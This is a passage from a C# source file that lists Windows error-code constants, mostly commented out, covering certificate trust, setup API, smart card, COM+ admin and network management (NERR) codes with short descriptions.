= 0x80097009;\n      //public const uint MSSIPOTF_E_TABLE_PADBYTES = 0x8009700A;\n      //public const uint MSSIPOTF_E_FILETOOSMALL = 0x8009700B;\n      //public const uint MSSIPOTF_E_TABLE_CHECKSUM = 0x8009700C;\n      //public const uint MSSIPOTF_E_FILE_CHECKSUM = 0x8009700D;\n      //public const uint MSSIPOTF_E_FAILED_POLICY = 0x80097010;\n      //public const uint MSSIPOTF_E_FAILED_HINTS_CHECK = 0x80097011;\n      //public const uint MSSIPOTF_E_NOT_OPENTYPE = 0x80097012;\n      //public const uint MSSIPOTF_E_FILE = 0x80097013;\n      //public const uint MSSIPOTF_E_CRYPT = 0x80097014;\n      //public const uint MSSIPOTF_E_BADVERSION = 0x80097015;\n      //public const uint MSSIPOTF_E_DSIG_STRUCTURE = 0x80097016;\n      //public const uint MSSIPOTF_E_PCONST_CHECK = 0x80097017;\n      //public const uint MSSIPOTF_E_STRUCTURE = 0x80097018;\n      //public const uint NTE_OP_OK = 0;\n      //public const uint TRUST_E_PROVIDER_UNKNOWN = 0x800B0001;\n      //public const uint TRUST_E_ACTION_UNKNOWN = 0x800B0002;\n      //public const uint TRUST_E_SUBJECT_FORM_UNKNOWN = 0x800B0003;\n      //public const uint TRUST_E_SUBJECT_NOT_TRUSTED = 0x800B0004;\n      //public const uint DIGSIG_E_ENCODE = 0x800B0005;\n      //public const uint DIGSIG_E_DECODE = 0x800B0006;\n      //public const uint DIGSIG_E_EXTENSIBILITY = 0x800B0007;\n      //public const uint DIGSIG_E_CRYPTO = 0x800B0008;\n      //public const uint PERSIST_E_SIZEDEFINITE = 0x800B0009;\n      //public const uint PERSIST_E_SIZEINDEFINITE = 0x800B000A;\n      //public const uint PERSIST_E_NOTSELFSIZING = 0x800B000B;\n      //public const uint TRUST_E_NOSIGNATURE = 0x800B0100;\n      //public const uint CERT_E_EXPIRED = 0x800B0101;\n      //public const uint CERT_E_VALIDITYPERIODNESTING = 0x800B0102;\n      //public const uint CERT_E_ROLE = 0x800B0103;\n      //public const uint CERT_E_PATHLENCONST = 0x800B0104;\n      //public const uint CERT_E_CRITICAL = 0x800B0105;\n      //public const uint CERT_E_PURPOSE = 0x800B0106;\n      //public const uint CERT_E_ISSUERCHAINING = 0x800B0107;\n      //public const uint CERT_E_MALFORMED = 0x800B0108;\n      //public const uint CERT_E_UNTRUSTEDROOT = 0x800B0109;\n      //public const uint CERT_E_CHAINING = 0x800B010A;\n      //public const uint TRUST_E_FAIL = 0x800B010B;\n      //public const uint CERT_E_REVOKED = 0x800B010C;\n      //public const uint CERT_E_UNTRUSTEDTESTROOT = 0x800B010D;\n      //public const uint CERT_E_REVOCATION_FAILURE = 0x800B010E;\n      //public const uint CERT_E_CN_NO_MATCH = 0x800B010F;\n      //public const uint CERT_E_WRONG_USAGE = 0x800B0110;\n      //public const uint TRUST_E_EXPLICIT_DISTRUST = 0x800B0111;\n      //public const uint CERT_E_UNTRUSTEDCA = 0x800B0112;\n      //public const uint CERT_E_INVALID_POLICY = 0x800B0113;\n      //public const uint CERT_E_INVALID_NAME = 0x800B0114;\n      //public const uint SPAPI_E_EXPECTED_SECTION_NAME = 0x800F0000;\n      //public const uint SPAPI_E_BAD_SECTION_NAME_LINE = 0x800F0001;\n      //public const uint SPAPI_E_SECTION_NAME_TOO_LONG = 0x800F0002;\n      //public const uint SPAPI_E_GENERAL_SYNTAX = 0x800F0003;\n      //public const uint SPAPI_E_WRONG_INF_STYLE = 0x800F0100;\n      //public const uint SPAPI_E_SECTION_NOT_FOUND = 0x800F0101;\n      //public const uint SPAPI_E_LINE_NOT_FOUND = 0x800F0102;\n      //public const uint SPAPI_E_NO_BACKUP = 0x800F0103;\n      //public const uint SPAPI_E_NO_ASSOCIATED_CLASS = 0x800F0200;\n      //public const uint SPAPI_E_CLASS_MISMATCH = 0x800F0201;\n      //public const uint SPAPI_E_DUPLICATE_FOUND = 0x800F0202;\n      //public const uint SPAPI_E_NO_DRIVER_SELECTED = 0x800F0203;\n      //public const uint SPAPI_E_KEY_DOES_NOT_EXIST = 0x800F0204;\n      //public const uint SPAPI_E_INVALID_DEVINST_NAME = 0x800F0205;\n      //public const uint SPAPI_E_INVALID_CLASS = 0x800F0206;\n      //public const uint SPAPI_E_DEVINST_ALREADY_EXISTS = 0x800F0207;\n      //public const uint SPAPI_E_DEVINFO_NOT_REGISTERED = 0x800F0208;\n      //public const uint SPAPI_E_INVALID_REG_PROPERTY = 0x800F0209;\n      //public const uint SPAPI_E_NO_INF = 0x800F020A;\n      //public const uint SPAPI_E_NO_SUCH_DEVINST = 0x800F020B;\n      //public const uint SPAPI_E_CANT_LOAD_CLASS_ICON = 0x800F020C;\n      //public const uint SPAPI_E_INVALID_CLASS_INSTALLER = 0x800F020D;\n      //public const uint SPAPI_E_DI_DO_DEFAULT = 0x800F020E;\n      //public const uint SPAPI_E_DI_NOFILECOPY = 0x800F020F;\n      //public const uint SPAPI_E_INVALID_HWPROFILE = 0x800F0210;\n      //public const uint SPAPI_E_NO_DEVICE_SELECTED = 0x800F0211;\n      //public const uint SPAPI_E_DEVINFO_LIST_LOCKED = 0x800F0212;\n      //public const uint SPAPI_E_DEVINFO_DATA_LOCKED = 0x800F0213;\n      //public const uint SPAPI_E_DI_BAD_PATH = 0x800F0214;\n      //public const uint SPAPI_E_NO_CLASSINSTALL_PARAMS = 0x800F0215;\n      //public const uint SPAPI_E_FILEQUEUE_LOCKED = 0x800F0216;\n      //public const uint SPAPI_E_BAD_SERVICE_INSTALLSECT = 0x800F0217;\n      //public const uint SPAPI_E_NO_CLASS_DRIVER_LIST = 0x800F0218;\n      //public const uint SPAPI_E_NO_ASSOCIATED_SERVICE = 0x800F0219;\n      //public const uint SPAPI_E_NO_DEFAULT_DEVICE_INTERFACE = 0x800F021A;\n      //public const uint SPAPI_E_DEVICE_INTERFACE_ACTIVE = 0x800F021B;\n      //public const uint SPAPI_E_DEVICE_INTERFACE_REMOVED = 0x800F021C;\n      //public const uint SPAPI_E_BAD_INTERFACE_INSTALLSECT = 0x800F021D;\n      //public const uint SPAPI_E_NO_SUCH_INTERFACE_CLASS = 0x800F021E;\n      //public const uint SPAPI_E_INVALID_REFERENCE_STRING = 0x800F021F;\n      //public const uint SPAPI_E_INVALID_MACHINENAME = 0x800F0220;\n      //public const uint SPAPI_E_REMOTE_COMM_FAILURE = 0x800F0221;\n      //public const uint SPAPI_E_MACHINE_UNAVAILABLE = 0x800F0222;\n      //public const uint SPAPI_E_NO_CONFIGMGR_SERVICES = 0x800F0223;\n      //public const uint SPAPI_E_INVALID_PROPPAGE_PROVIDER = 0x800F0224;\n      //public const uint SPAPI_E_NO_SUCH_DEVICE_INTERFACE = 0x800F0225;\n      //public const uint SPAPI_E_DI_POSTPROCESSING_REQUIRED = 0x800F0226;\n      //public const uint SPAPI_E_INVALID_COINSTALLER = 0x800F0227;\n      //public const uint SPAPI_E_NO_COMPAT_DRIVERS = 0x800F0228;\n      //public const uint SPAPI_E_NO_DEVICE_ICON = 0x800F0229;\n      //public const uint SPAPI_E_INVALID_INF_LOGCONFIG = 0x800F022A;\n      //public const uint SPAPI_E_DI_DONT_INSTALL = 0x800F022B;\n      //public const uint SPAPI_E_INVALID_FILTER_DRIVER = 0x800F022C;\n      //public const uint SPAPI_E_NON_WINDOWS_NT_DRIVER = 0x800F022D;\n      //public const uint SPAPI_E_NON_WINDOWS_DRIVER = 0x800F022E;\n      //public const uint SPAPI_E_NO_CATALOG_FOR_OEM_INF = 0x800F022F;\n      //public const uint SPAPI_E_DEVINSTALL_QUEUE_NONNATIVE = 0x800F0230;\n      //public const uint SPAPI_E_NOT_DISABLEABLE = 0x800F0231;\n      //public const uint SPAPI_E_CANT_REMOVE_DEVINST = 0x800F0232;\n      //public const uint SPAPI_E_INVALID_TARGET = 0x800F0233;\n      //public const uint SPAPI_E_DRIVER_NONNATIVE = 0x800F0234;\n      //public const uint SPAPI_E_IN_WOW64 = 0x800F0235;\n      //public const uint SPAPI_E_SET_SYSTEM_RESTORE_POINT = 0x800F0236;\n      //public const uint SPAPI_E_INCORRECTLY_COPIED_INF = 0x800F0237;\n      //public const uint SPAPI_E_SCE_DISABLED = 0x800F0238;\n      //public const uint SPAPI_E_UNKNOWN_EXCEPTION = 0x800F0239;\n      //public const uint SPAPI_E_PNP_REGISTRY_ERROR = 0x800F023A;\n      //public const uint SPAPI_E_REMOTE_REQUEST_UNSUPPORTED = 0x800F023B;\n      //public const uint SPAPI_E_NOT_AN_INSTALLED_OEM_INF = 0x800F023C;\n      //public const uint SPAPI_E_INF_IN_USE_BY_DEVICES = 0x800F023D;\n      //public const uint SPAPI_E_DI_FUNCTION_OBSOLETE = 0x800F023E;\n      //public const uint SPAPI_E_NO_AUTHENTICODE_CATALOG = 0x800F023F;\n      //public const uint SPAPI_E_AUTHENTICODE_DISALLOWED = 0x800F0240;\n      //public const uint SPAPI_E_AUTHENTICODE_TRUSTED_PUBLISHER = 0x800F0241;\n      //public const uint SPAPI_E_AUTHENTICODE_TRUST_NOT_ESTABLISHED = 0x800F0242;\n      //public const uint SPAPI_E_AUTHENTICODE_PUBLISHER_NOT_TRUSTED = 0x800F0243;\n      //public const uint SPAPI_E_SIGNATURE_OSATTRIBUTE_MISMATCH = 0x800F0244;\n      //public const uint SPAPI_E_ONLY_VALIDATE_VIA_AUTHENTICODE = 0x800F0245;\n      //public const uint SPAPI_E_UNRECOVERABLE_STACK_OVERFLOW = 0x800F0300;\n      //public const uint SPAPI_E_ERROR_NOT_INSTALLED = 0x800F1000;\n      //public const uint SCARD_S_SUCCESS = NO_ERROR;\n      //public const uint SCARD_F_INTERNAL_ERROR = 0x80100001;\n      //public const uint SCARD_E_CANCELLED = 0x80100002;\n      //public const uint SCARD_E_INVALID_HANDLE = 0x80100003;\n      //public const uint SCARD_E_INVALID_PARAMETER = 0x80100004;\n      //public const uint SCARD_E_INVALID_TARGET = 0x80100005;\n      //public const uint SCARD_E_NO_MEMORY = 0x80100006;\n      //public const uint SCARD_F_WAITED_TOO_LONG = 0x80100007;\n      //public const uint SCARD_E_INSUFFICIENT_BUFFER = 0x80100008;\n      //public const uint SCARD_E_UNKNOWN_READER = 0x80100009;\n      //public const uint SCARD_E_TIMEOUT = 0x8010000A;\n      //public const uint SCARD_E_SHARING_VIOLATION = 0x8010000B;\n      //public const uint SCARD_E_NO_SMARTCARD = 0x8010000C;\n      //public const uint SCARD_E_UNKNOWN_CARD = 0x8010000D;\n      //public const uint SCARD_E_CANT_DISPOSE = 0x8010000E;\n      //public const uint SCARD_E_PROTO_MISMATCH = 0x8010000F;\n      //public const uint SCARD_E_NOT_READY = 0x80100010;\n      //public const uint SCARD_E_INVALID_VALUE = 0x80100011;\n      //public const uint SCARD_E_SYSTEM_CANCELLED = 0x80100012;\n      //public const uint SCARD_F_COMM_ERROR = 0x80100013;\n      //public const uint SCARD_F_UNKNOWN_ERROR = 0x80100014;\n      //public const uint SCARD_E_INVALID_ATR = 0x80100015;\n      //public const uint SCARD_E_NOT_TRANSACTED = 0x80100016;\n      //public const uint SCARD_E_READER_UNAVAILABLE = 0x80100017;\n      //public const uint SCARD_P_SHUTDOWN = 0x80100018;\n      //public const uint SCARD_E_PCI_TOO_SMALL = 0x80100019;\n      //public const uint SCARD_E_READER_UNSUPPORTED = 0x8010001A;\n      //public const uint SCARD_E_DUPLICATE_READER = 0x8010001B;\n      //public const uint SCARD_E_CARD_UNSUPPORTED = 0x8010001C;\n      //public const uint SCARD_E_NO_SERVICE = 0x8010001D;\n      //public const uint SCARD_E_SERVICE_STOPPED = 0x8010001E;\n      //public const uint SCARD_E_UNEXPECTED = 0x8010001F;\n      //public const uint SCARD_E_ICC_INSTALLATION = 0x80100020;\n      //public const uint SCARD_E_ICC_CREATEORDER = 0x80100021;\n      //public const uint SCARD_E_UNSUPPORTED_FEATURE = 0x80100022;\n      //public const uint SCARD_E_DIR_NOT_FOUND = 0x80100023;\n      //public const uint SCARD_E_FILE_NOT_FOUND = 0x80100024;\n      //public const uint SCARD_E_NO_DIR = 0x80100025;\n      //public const uint SCARD_E_NO_FILE = 0x80100026;\n      //public const uint SCARD_E_NO_ACCESS = 0x80100027;\n      //public const uint SCARD_E_WRITE_TOO_MANY = 0x80100028;\n      //public const uint SCARD_E_BAD_SEEK = 0x80100029;\n      //public const uint SCARD_E_INVALID_CHV = 0x8010002A;\n      //public const uint SCARD_E_UNKNOWN_RES_MNG = 0x8010002B;\n      //public const uint SCARD_E_NO_SUCH_CERTIFICATE = 0x8010002C;\n      //public const uint SCARD_E_CERTIFICATE_UNAVAILABLE = 0x8010002D;\n      //public const uint SCARD_E_NO_READERS_AVAILABLE = 0x8010002E;\n      //public const uint SCARD_E_COMM_DATA_LOST = 0x8010002F;\n      //public const uint SCARD_E_NO_KEY_CONTAINER = 0x80100030;\n      //public const uint SCARD_E_SERVER_TOO_BUSY = 0x80100031;\n      //public const uint SCARD_W_UNSUPPORTED_CARD = 0x80100065;\n      //public const uint SCARD_W_UNRESPONSIVE_CARD = 0x80100066;\n      //public const uint SCARD_W_UNPOWERED_CARD = 0x80100067;\n      //public const uint SCARD_W_RESET_CARD = 0x80100068;\n      //public const uint SCARD_W_REMOVED_CARD = 0x80100069;\n      //public const uint SCARD_W_SECURITY_VIOLATION = 0x8010006A;\n      //public const uint SCARD_W_WRONG_CHV = 0x8010006B;\n      //public const uint SCARD_W_CHV_BLOCKED = 0x8010006C;\n      //public const uint SCARD_W_EOF = 0x8010006D;\n      //public const uint SCARD_W_CANCELLED_BY_USER = 0x8010006E;\n      //public const uint SCARD_W_CARD_NOT_AUTHENTICATED = 0x8010006F;\n      //public const uint COMADMIN_E_OBJECTERRORS = 0x80110401;\n      //public const uint COMADMIN_E_OBJECTINVALID = 0x80110402;\n      //public const uint COMADMIN_E_KEYMISSING = 0x80110403;\n      //public const uint COMADMIN_E_ALREADYINSTALLED = 0x80110404;\n      //public const uint COMADMIN_E_APP_FILE_WRITEFAIL = 0x80110407;\n      //public const uint COMADMIN_E_APP_FILE_READFAIL = 0x80110408;\n      //public const uint COMADMIN_E_APP_FILE_VERSION = 0x80110409;\n      //public const uint COMADMIN_E_BADPATH = 0x8011040A;\n      //public const uint COMADMIN_E_APPLICATIONEXISTS = 0x8011040B;\n      //public const uint COMADMIN_E_ROLEEXISTS = 0x8011040C;\n      //public const uint COMADMIN_E_CANTCOPYFILE = 0x8011040D;\n      //public const uint COMADMIN_E_NOUSER = 0x8011040F;\n      //public const uint COMADMIN_E_INVALIDUSERIDS = 0x80110410;\n      //public const uint COMADMIN_E_NOREGISTRYCLSID = 0x80110411;\n      //public const uint COMADMIN_E_BADREGISTRYPROGID = 0x80110412;\n      //public const uint COMADMIN_E_AUTHENTICATIONLEVEL = 0x80110413;\n      //public const uint COMADMIN_E_USERPASSWDNOTVALID = 0x80110414;\n      //public const uint COMADMIN_E_CLSIDORIIDMISMATCH = 0x80110418;\n      //public const uint COMADMIN_E_REMOTEINTERFACE = 0x80110419;\n      //public const uint COMADMIN_E_DLLREGISTERSERVER = 0x8011041A;\n      //public const uint COMADMIN_E_NOSERVERSHARE = 0x8011041B;\n      //public const uint COMADMIN_E_DLLLOADFAILED = 0x8011041D;\n      //public const uint COMADMIN_E_BADREGISTRYLIBID = 0x8011041E;\n      //public const uint COMADMIN_E_APPDIRNOTFOUND = 0x8011041F;\n      //public const uint COMADMIN_E_REGISTRARFAILED = 0x80110423;\n      //public const uint COMADMIN_E_COMPFILE_DOESNOTEXIST = 0x80110424;\n      //public const uint COMADMIN_E_COMPFILE_LOADDLLFAIL = 0x80110425;\n      //public const uint COMADMIN_E_COMPFILE_GETCLASSOBJ = 0x80110426;\n      //public const uint COMADMIN_E_COMPFILE_CLASSNOTAVAIL = 0x80110427;\n      //public const uint COMADMIN_E_COMPFILE_BADTLB = 0x80110428;\n      //public const uint COMADMIN_E_COMPFILE_NOTINSTALLABLE = 0x80110429;\n      //public const uint COMADMIN_E_NOTCHANGEABLE = 0x8011042A;\n      //public const uint COMADMIN_E_NOTDELETEABLE = 0x8011042B;\n      //public const uint COMADMIN_E_SESSION = 0x8011042C;\n      //public const uint COMADMIN_E_COMP_MOVE_LOCKED = 0x8011042D;\n      //public const uint COMADMIN_E_COMP_MOVE_BAD_DEST = 0x8011042E;\n      //public const uint COMADMIN_E_REGISTERTLB = 0x80110430;\n      //public const uint COMADMIN_E_SYSTEMAPP = 0x80110433;\n      //public const uint COMADMIN_E_COMPFILE_NOREGISTRAR = 0x80110434;\n      //public const uint COMADMIN_E_COREQCOMPINSTALLED = 0x80110435;\n      //public const uint COMADMIN_E_SERVICENOTINSTALLED = 0x80110436;\n      //public const uint COMADMIN_E_PROPERTYSAVEFAILED = 0x80110437;\n      //public const uint COMADMIN_E_OBJECTEXISTS = 0x80110438;\n      //public const uint COMADMIN_E_COMPONENTEXISTS = 0x80110439;\n      //public const uint COMADMIN_E_REGFILE_CORRUPT = 0x8011043B;\n      //public const uint COMADMIN_E_PROPERTY_OVERFLOW = 0x8011043C;\n      //public const uint COMADMIN_E_NOTINREGISTRY = 0x8011043E;\n      //public const uint COMADMIN_E_OBJECTNOTPOOLABLE = 0x8011043F;\n      //public const uint COMADMIN_E_APPLID_MATCHES_CLSID = 0x80110446;\n      //public const uint COMADMIN_E_ROLE_DOES_NOT_EXIST = 0x80110447;\n      //public const uint COMADMIN_E_START_APP_NEEDS_COMPONENTS = 0x80110448;\n      //public const uint COMADMIN_E_REQUIRES_DIFFERENT_PLATFORM = 0x80110449;\n      //public const uint COMADMIN_E_CAN_NOT_EXPORT_APP_PROXY = 0x8011044A;\n      //public const uint COMADMIN_E_CAN_NOT_START_APP = 0x8011044B;\n      //public const uint COMADMIN_E_CAN_NOT_EXPORT_SYS_APP = 0x8011044C;\n      //public const uint COMADMIN_E_CANT_SUBSCRIBE_TO_COMPONENT = 0x8011044D;\n      //public const uint COMADMIN_E_EVENTCLASS_CANT_BE_SUBSCRIBER = 0x8011044E;\n      //public const uint COMADMIN_E_LIB_APP_PROXY_INCOMPATIBLE = 0x8011044F;\n      //public const uint COMADMIN_E_BASE_PARTITION_ONLY = 0x80110450;\n      //public const uint COMADMIN_E_START_APP_DISABLED = 0x80110451;\n      //public const uint COMADMIN_E_CAT_DUPLICATE_PARTITION_NAME = 0x80110457;\n      //public const uint COMADMIN_E_CAT_INVALID_PARTITION_NAME = 0x80110458;\n      //public const uint COMADMIN_E_CAT_PARTITION_IN_USE = 0x80110459;\n      //public const uint COMADMIN_E_FILE_PARTITION_DUPLICATE_FILES = 0x8011045A;\n      //public const uint COMADMIN_E_CAT_IMPORTED_COMPONENTS_NOT_ALLOWED = 0x8011045B;\n      //public const uint COMADMIN_E_AMBIGUOUS_APPLICATION_NAME = 0x8011045C;\n      //public const uint COMADMIN_E_AMBIGUOUS_PARTITION_NAME = 0x8011045D;\n      //public const uint COMADMIN_E_REGDB_NOTINITIALIZED = 0x80110472;\n      //public const uint COMADMIN_E_REGDB_NOTOPEN = 0x80110473;\n      //public const uint COMADMIN_E_REGDB_SYSTEMERR = 0x80110474;\n      //public const uint COMADMIN_E_REGDB_ALREADYRUNNING = 0x80110475;\n      //public const uint COMADMIN_E_MIG_VERSIONNOTSUPPORTED = 0x80110480;\n      //public const uint COMADMIN_E_MIG_SCHEMANOTFOUND = 0x80110481;\n      //public const uint COMADMIN_E_CAT_BITNESSMISMATCH = 0x80110482;\n      //public const uint COMADMIN_E_CAT_UNACCEPTABLEBITNESS = 0x80110483;\n      //public const uint COMADMIN_E_CAT_WRONGAPPBITNESS = 0x80110484;\n      //public const uint COMADMIN_E_CAT_PAUSE_RESUME_NOT_SUPPORTED = 0x80110485;\n      //public const uint COMADMIN_E_CAT_SERVERFAULT = 0x80110486;\n      //public const uint COMQC_E_APPLICATION_NOT_QUEUED = 0x80110600;\n      //public const uint COMQC_E_NO_QUEUEABLE_INTERFACES = 0x80110601;\n      //public const uint COMQC_E_QUEUING_SERVICE_NOT_AVAILABLE = 0x80110602;\n      //public const uint COMQC_E_NO_IPERSISTSTREAM = 0x80110603;\n      //public const uint COMQC_E_BAD_MESSAGE = 0x80110604;\n      //public const uint COMQC_E_UNAUTHENTICATED = 0x80110605;\n      //public const uint COMQC_E_UNTRUSTED_ENQUEUER = 0x80110606;\n      //public const uint MSDTC_E_DUPLICATE_RESOURCE = 0x80110701;\n      //public const uint COMADMIN_E_OBJECT_PARENT_MISSING = 0x80110808;\n      //public const uint COMADMIN_E_OBJECT_DOES_NOT_EXIST = 0x80110809;\n      //public const uint COMADMIN_E_APP_NOT_RUNNING = 0x8011080A;\n      //public const uint COMADMIN_E_INVALID_PARTITION = 0x8011080B;\n      //public const uint COMADMIN_E_SVCAPP_NOT_POOLABLE_OR_RECYCLABLE = 0x8011080D;\n      //public const uint COMADMIN_E_USER_IN_SET = 0x8011080E;\n      //public const uint COMADMIN_E_CANTRECYCLELIBRARYAPPS = 0x8011080F;\n      //public const uint COMADMIN_E_CANTRECYCLESERVICEAPPS = 0x80110811;\n      //public const uint COMADMIN_E_PROCESSALREADYRECYCLED = 0x80110812;\n      //public const uint COMADMIN_E_PAUSEDPROCESSMAYNOTBERECYCLED = 0x80110813;\n      //public const uint COMADMIN_E_CANTMAKEINPROCSERVICE = 0x80110814;\n      //public const uint COMADMIN_E_PROGIDINUSEBYCLSID = 0x80110815;\n      //public const uint COMADMIN_E_DEFAULT_PARTITION_NOT_IN_SET = 0x80110816;\n      //public const uint COMADMIN_E_RECYCLEDPROCESSMAYNOTBEPAUSED = 0x80110817;\n      //public const uint COMADMIN_E_PARTITION_ACCESSDENIED = 0x80110818;\n      //public const uint COMADMIN_E_PARTITION_MSI_ONLY = 0x80110819;\n      //public const uint COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_1_0_FORMAT = 0x8011081A;\n      //public const uint COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_NONBASE_PARTITIONS = 0x8011081B;\n      //public const uint COMADMIN_E_COMP_MOVE_SOURCE = 0x8011081C;\n      //public const uint COMADMIN_E_COMP_MOVE_DEST = 0x8011081D;\n      //public const uint COMADMIN_E_COMP_MOVE_PRIVATE = 0x8011081E;\n      //public const uint COMADMIN_E_BASEPARTITION_REQUIRED_IN_SET = 0x8011081F;\n      //public const uint COMADMIN_E_CANNOT_ALIAS_EVENTCLASS = 0x80110820;\n      //public const uint COMADMIN_E_PRIVATE_ACCESSDENIED = 0x80110821;\n      //public const uint COMADMIN_E_SAFERINVALID = 0x80110822;\n      //public const uint COMADMIN_E_REGISTRY_ACCESSDENIED = 0x80110823;\n      //public const uint COMADMIN_E_PARTITIONS_DISABLED = 0x80110824;\n\n\n      #region Network Management Error Codes\n\n      // http://msdn.microsoft.com/en-us/library/windows/desktop/aa370674%28v=vs.85%29.aspx\n\n      /// <summary>(0) The operation completed successfully.</summary>\n      public const uint NERR_Success = 0;\n\n      ///// <summary>The workstation driver is not installed.</summary>\n      //public const uint NERR_NetNotStarted = 2102;\n\n      ///// <summary>The server could not be located.</summary>\n      //public const uint NERR_UnknownServer = 2103;\n\n      ///// <summary>An internal error occurred. The network cannot access a shared memory segment.</summary>\n      //public const uint NERR_ShareMem = 2104;\n\n      ///// <summary>A network resource shortage occurred.</summary>\n      //public const uint NERR_NoNetworkResource = 2105;\n\n      ///// <summary>This operation is not supported on workstations.</summary>\n      //public const uint NERR_RemoteOnly = 2106;\n\n      ///// <summary>The device is not connected.</summary>\n      //public const uint NERR_DevNotRedirected = 2107;\n\n      ///// <summary>The Server service is not started.</summary>\n      //public const uint NERR_ServerNotStarted = 2114;\n\n      ///// <summary>The queue is empty.</summary>\n      //public const uint NERR_ItemNotFound = 2115;\n\n      ///// <summary>The device or directory does not exist.</summary>\n      //public const uint NERR_UnknownDevDir = 2116;\n\n      ///// <summary>The operation is invalid on a redirected resource.</summary>\n      //public const uint NERR_RedirectedPath = 2117;\n\n      ///// <summary>The name has already been shared.</summary>\n      //public const uint NERR_DuplicateShare = 2118;\n\n      ///// <summary>The server is currently out of the requested resource.</summary>\n      //public const uint NERR_NoRoom = 2119;\n\n      ///// <summary>Requested addition of items exceeds the maximum allowed.</summary>\n      //public const uint NERR_TooManyItems = 2121;\n\n      ///// <summary>The Peer service supports only two simultaneous users.</summary>\n      //public const uint NERR_InvalidMaxUsers = 2122;\n\n      ///// <summary>The API return buffer is too small.</summary>\n      //public const uint NERR_BufTooSmall = 2123;\n\n      ///// <summary>A remote API error occurred.</summary>\n      //public const uint NERR_RemoteErr = 2127;\n\n      ///// <summary>An error occurred when opening or reading the configuration file.</summary>\n      //public const uint NERR_LanmanIniError = 2131;\n\n      ///// <summary>A general network error occurred.</summary>\n      //public const uint NERR_NetworkError = 2136;\n\n      ///// <summary>The Workstation service is in an inconsistent state. Restart the computer before restarting the Workstation service.</summary>\n      //public const uint NERR_WkstaInconsistentState = 2137;\n\n      ///// <summary>The Workstation service has not been started.</summary>\n      //public const uint NERR_WkstaNotStarted = 2138;\n\n      ///// <summary>The requested information is not available.</summary>\n      //public const uint NERR_BrowserNotStarted = 2139;\n\n      ///// <summary>An internal error occurred.</summary>\n      //public const uint NERR_InternalError = 2140;\n\n      ///// <summary>The server is not configured for transactions.</summary>\n      //public const uint NERR_BadTransactConfig = 2141;\n\n      ///// <summary>The requested API is not supported on the remote server.</summary>\n      //public const uint NERR_InvalidAPI = 2142;\n\n      ///// <summary>The event name is invalid.</summary>\n      //public const uint NERR_BadEventName = 2143;\n\n      ///// <summary>The computer name already exists on the network. Change it and restart the computer.</summary>\n      //public const uint NERR_DupNameReboot = 2144;\n\n      ///// <summary>The specified component could not be found in the configuration information.</summary>\n      //public const uint NERR_CfgCompNotFound = 2146;\n\n      ///// <summary>The specified parameter could not be found in the configuration information.</summary>\n      //public const uint NERR_CfgParamNotFound = 2147;\n\n      ///// <summary>A line in the configuration file is too long.</summary>\n      //public const uint NERR_LineTooLong = 2149;\n\n      ///// <summary>The printer does not exist.</summary>\n      //public const uint NERR_QNotFound = 2150;\n\n      ///// <summary>The print job does not exist.</summary>\n      //public const uint NERR_JobNotFound = 2151;\n\n      ///// <summary>The printer destination cannot be found.</summary>\n      //public const uint NERR_DestNotFound = 2152;\n\n      ///// <summary>The printer destination already exists.</summary>\n      //public const uint NERR_DestExists = 2153;\n\n      ///// <summary>The printer queue already exists.</summary>\n      //public const uint NERR_QExists = 2154;\n\n      ///// <summary>No more printers can be added.</summary>\n      //public const uint NERR_QNoRoom = 2155;\n\n      ///// <summary>No more print jobs can be added.</summary>\n      //public const uint NERR_JobNoRoom = 2156;\n\n      ///// <summary>No more printer destinations can be added.</summary>\n      //public const uint NERR_DestNoRoom = 2157;\n\n      ///// <summary>This printer destination is idle and cannot accept control operations.</summary>\n      //public const uint NERR_DestIdle = 2158;\n\n      ///// <summary>This printer destination request contains an invalid control function.</summary>\n      //public const uint NERR_DestInvalidOp = 2159;\n\n      ///// <summary>The print processor is not responding.</summary>\n      //public const uint NERR_ProcNoRespond = 2160;\n\n      ///// <summary>The spooler is not running.</summary>\n      //public const uint NERR_SpoolerNotLoaded = 2161;\n\n      ///// <summary>This operation cannot be performed on the print destination in its current state.</summary>\n      //public const uint NERR_DestInvalidState = 2162;\n\n      ///// <summary>This operation cannot be performed on the printer queue in its current state.</summary>\n      //public const uint NERR_QinvalidState = 2163;\n\n      ///// <summary>This operation cannot be performed on the print job in its current state.</summary>\n      //public const uint NERR_JobInvalidState = 2164;\n\n      ///// <summary>A spooler memory allocation failure occurred.</summary>\n      //public const uint NERR_SpoolNoMemory = 2165;\n\n      ///// <summary>The device driver does not exist.</summary>\n      //public const uint NERR_DriverNotFound = 2166;\n\n      ///// <summary>The data type is not supported by the print processor.</summary>\n      //public const uint NERR_DataTypeInvalid = 2167;\n\n      ///// <summary>The print processor is not installed.</summary>\n      //public const uint NERR_ProcNotFound = 2168;\n\n      ///// <summary>The service database is locked.</summary>\n      //public const uint NERR_ServiceTableLocked = 2180;\n\n      ///// <summary>The service table is full.</summary>\n      //public const uint NERR_ServiceTableFull = 2181;\n\n      ///// <summary>The requested service has already been started.</summary>\n      //public const uint NERR_ServiceInstalled = 2182;\n\n      ///// <summary>The service does not respond to control actions.</summary>\n      //public const uint NERR_ServiceEntryLocked = 2183;\n\n      ///// <summary>The service has not been started.</summary>\n      //public const uint NERR_ServiceNotInstalled = 2184;\n\n      ///// <summary>The service name is invalid.</summary>\n      //public const uint NERR_BadServiceName = 2185;\n\n      ///// <summary>The service is not responding to the control function.</summary>\n      //public const uint NERR_ServiceCtlTimeout = 2186;\n\n      ///// <summary>The service control is busy.</summary>\n      //public const uint NERR_ServiceCtlBusy = 2187;\n\n      ///// <summary>The configuration file contains an invalid service program name.</summary>\n      //public const uint NERR_BadServiceProgName = 2188;\n\n      ///// <summary>The service could not be controlled in its present state.</summary>\n      //public const uint NERR_ServiceNotCtrl = 2189;\n\n      ///// <summary>The service ended abnormally.</summary>\n      //public const uint NERR_ServiceKillProc = 2190;\n\n      ///// <summary>The requested pause or stop is not valid for this service.</summary>\n      //public const uint NERR_ServiceCtlNotValid = 2191;\n\n      ///// <summary>The service control dispatcher could not find the service name in the dispatch table.</summary>\n      //public const uint NERR_NotInDispatchTbl = 2192;\n\n      ///// <summary>The service control dispatcher pipe read failed.</summary>\n      //public const uint NERR_BadControlRecv = 2193;\n\n      ///// <summary>A thread for the new service could not be created.</summary>\n      //public const uint NERR_ServiceNotStarting = 2194;\n\n      ///// <summary>This workstation is already logged on to the local-area network.</summary>\n      //public const uint NERR_AlreadyLoggedOn = 2200;\n\n      ///// <summary>The workstation is not logged on to the local-area network.</summary>\n      //public const uint NERR_NotLoggedOn = 